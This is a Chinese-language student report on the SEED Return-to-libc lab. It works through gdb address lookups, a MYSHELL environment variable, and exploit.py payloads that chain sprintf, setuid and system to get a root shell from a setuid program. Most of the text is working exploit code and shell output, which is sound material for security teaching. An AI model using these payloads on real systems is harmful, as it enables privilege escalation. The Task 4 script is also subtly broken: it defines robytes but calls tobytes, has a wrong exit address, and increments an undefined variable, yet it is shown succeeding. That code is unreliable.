# Chapter 3

# Return-to-libc Attack Lab

## 一. 基本信息:

57119111 唐翠霜 2021.8.2

## 二. 实验原理:

利用缓冲区溢出漏洞的一种常见方法是使用恶意 shellcode 溢出缓冲区，然后使易受攻击的程序跳转到堆栈中存储的 shellcode，为了防止攻击，一些操作系统将他们的堆栈不可执行,所以跳转到 shellcode 会导致程序失败。但 Return-to-libc 的缓冲区溢出攻击无需可执行堆栈，甚至不用 shellcode，它会导致易受攻击的程序跳转到一些现有代码，例如 libc 库中的 system() 函数，该函数已经加载到了进程的内存空间中。

本次实验面对有缓冲区溢出漏洞的程序，先利用 Return-to-libc 攻击获得 root 权限，除了攻击，也通过一些在 Ubuntu 中实现的保护方案来对抗攻击。

## 三. 实验过程:

### Task1：Finding out the Addresses of libc Functions

使用 **gdb** 等调试工具找出 **system()**的地址

```
[08/03/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[08/03/21]seed@VM:~/.../Labsetup$ touch badfile
[08/03/21]seed@VM:~/.../Labsetup$ make
make: Nothing to be done for 'all'.
[08/03/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mea
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
gdb-peda$ run
```

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

## Task2：Putting the shell string in the memory

**1）新建 MYSHELL 环境变量**

```
[08/04/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[08/04/21]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
```

**2）编写 prtenv.c 程序，编译并运行。把上面的程序段写进 retlib.c 再次编译运行，由于 prtenv 和 retlib 程序名一样长，所以会得到相同的结果**

Open *prtenv.c ~/Desktop/Labs_20.04/Software Security/Return-to-Libc Attac...

```c
#include <stdlib.h>
#include <stdio.h>

void main()
{
    char* shell = getenv("MYSHELL");
    if (shell)
    printf("%x\n",(unsigned int)shell);
}
```

```
[08/04/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
[08/04/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffd3dd
[08/04/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[08/04/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3dd
Address of input[] inside main():  0xffffcd6c
Input size: 0
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
Segmentation fault
[08/04/21]seed@VM:~/.../Labsetup$
```

## Task3：Launching the Attack

**1）根据前面得到的结果，修改 exploit.py，填写如下地址。**
**X 为参数地址，Y 为被攻击程序返回地址，Z 为攻击函数返回地址；**

```
X = 36
sh_addr = 0xffffd3dd       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
```

**2）运行程序，攻击成功**

```
[08/04/21]seed@VM:~/.../Labsetup$ ./exploit.py
[08/04/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4
(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(
lxd),132(sambashare),136(docker)
```

**测试 1：注释掉 exit 部分。发现攻击同样成功，但是在退出时由于没有正确的返回地址，因此会出现 segmentfault**

```
[08/04/21]seed@VM:~/.../Labsetup$ ./exploit.py
[08/04/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
# exit
Segmentation fault
```

**测试 2：更改 retlib 可执行文件名长度。 文件名长度相同时，提权成功，文件名长度不同时，提权失败**

```
[08/04/21]seed@VM:~/.../Labsetup$ ./reelib
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
# exit
Segmentation fault
[08/04/21]seed@VM:~/.../Labsetup$ ./reeeelib
Address of input[] inside main():  0xffffcd6c
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
zsh:1: no such file or directory: /sh
Segmentation fault
```

## Task 4: Defeat Shell's countermeasure

1）首先改回链接，然后获取所需要的 libc 函数地址

```
Breakpoint 1, 0x5655630f in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xf7e99e30 <setuid>
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ p sprintf
$4 = {<text variable, no debug info>} 0xf7e20e40 <sprintf>
gdb-peda$
```

2）同时获取 bof()函数返回地址，并根据 retlib 打印出的 bof()函数 ebp 位置和 MYSHELL 地址修改 exploit.py，运行程序，看到提权成功

```
#!/usr/bin/env python3
import sys

def robytes(value):
    return(value).to_bytes(4,byteorder='little')

# Fill content with non-zero values
content = bytearray(0xaa for i in range(24))

sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58

# setuid()'s 1st argument
sprintf_arg1 = ebp_bof + 12 + 5*0x20

# a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")

# Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)

# sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
    ebp_next += 0x20
    content += tobytes(ebp_next)
```

```
    content += tobytes(sprintf_addr)
    content += tobytes(leaveret)
    content += tobytes(sprintf_arg1)
    content += tobytes(sprintf_arg2)
    content += b'A' * (0x20 - 5*4)
    sprintf_argl += 1

# setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
```

```python
# system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)

# exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

```
[08/04/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[08/04/21]seed@VM:~/.../Labsetup$ ./exploit.py
[08/04/21]seed@VM:~/.../Labsetup$ ./retlib
ffffd3dd

Address of input[] inside main():  0xffffcd7c
Input size: 256
Address of buffer[] inside bof():  0xffffcd40
Frame Pointer value inside bof():  0xffffcd58
# whoami
root
#
```

## 四. 实验小结:

前三个都比较容易得出结论，对 task4 不是很理解，没能按照手册上说的攻击成功，最后借鉴了同学的步骤。。